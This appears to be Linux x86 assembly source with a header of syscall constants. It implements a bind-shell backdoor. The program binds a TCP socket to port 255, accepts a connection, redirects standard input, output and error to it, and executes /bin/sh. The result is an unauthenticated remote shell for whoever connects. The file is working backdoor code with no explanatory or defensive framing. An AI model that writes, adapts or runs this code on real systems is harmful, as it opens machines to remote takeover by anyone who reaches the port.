/* defines.h */

SYS_exit              = 1
SYS_fork              = 2
SYS_write             = 4
SYS_open              = 5
SYS_close             = 6
SYS_execve            = 11
SYS_lseek             = 19
SYS_dup2              = 63
SYS_mmap              = 90
SYS_munmap            = 91
SYS_socketcall        = 102
SYS_socketcall_socket = 1
SYS_socketcall_bind   = 2
SYS_socketcall_listen = 4
SYS_socketcall_accept = 5

SEEK_END              = 2
PROT_READ             = 1
MAP_SHARED            = 1

AF_INET               = 2
SOCK_STREAM           = 1
IPPROTO_TCP           = 6

STDOUT                = 1

/* daemon.s */

BIND_PORT = 0xff00   // 255

.data
SOCK:
  .long 0x0
LEN:
  .long 0x10
SHELL:
  .string "/bin/sh"

.text
.globl _start
_start:
  subl $0x20,%esp

// socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

  movl $SYS_socketcall,%eax
  movl $SYS_socketcall_socket,%ebx
  movl $AF_INET,(%esp)
  movl $SOCK_STREAM,0x4(%esp)
  movl $IPPROTO_TCP,0x8(%esp)
  movl %esp,%ecx
  int  $0x80

// save sockfd
  movl %eax,SOCK

  xorl  %edx,%edx
// bind(%eax, %esp+0xc, 0x10);
  movw $AF_INET,0xc(%esp)
  movw $BIND_PORT,0xe(%esp)
  movl %edx,0x10(%esp)
  movl %eax,(%esp)
  leal 0xc(%esp),%ebx
  movl %ebx,0x4(%esp)
  movl $0x10,0x8(%esp)
  movl $SYS_socketcall,%eax
  movl $SYS_socketcall_bind,%ebx
  int  $0x80

  movl  SOCK,%eax

// listen(%eax, 0x1);
  movl %eax,(%esp)
  movl $0x1,0x4(%esp)
  movl $SYS_socketcall,%eax
  movl $SYS_socketcall_listen,%ebx
  int  $0x80

  movl  SOCK,%eax

// accept(%eax, %esp+0xc, LEN);
  movl  %eax,(%esp)
  leal  0xc(%esp),%ebx
  movl  %ebx,0x4(%esp)
  movl  $LEN,0x8(%esp)
  movl  $SYS_socketcall,%eax
  movl  $SYS_socketcall_accept,%ebx
  int   $0x80

// for(i=2;i>-1;;i--) dup2(%eax,i)
  movl $0x2,%ecx
DUP2LOOP:
  pushl %eax
  movl  %eax,%ebx
  mov   $SYS_dup2,%eax
  int   $0x80
  dec   %ecx
  popl  %eax
  jns   DUP2LOOP

// execve(SHELL, { SHELL, NULL }, NULL );
  movl $SYS_execve,%eax
  movl $SHELL,%ebx
  movl %ebx,(%esp)
  movl %edx,0x4(%esp)
  movl %esp,%ecx
  int  $0x80

// _exit(0)
  movl $SYS_exit,%eax
  movl %edx,%ebx
  int  $0x80

  ret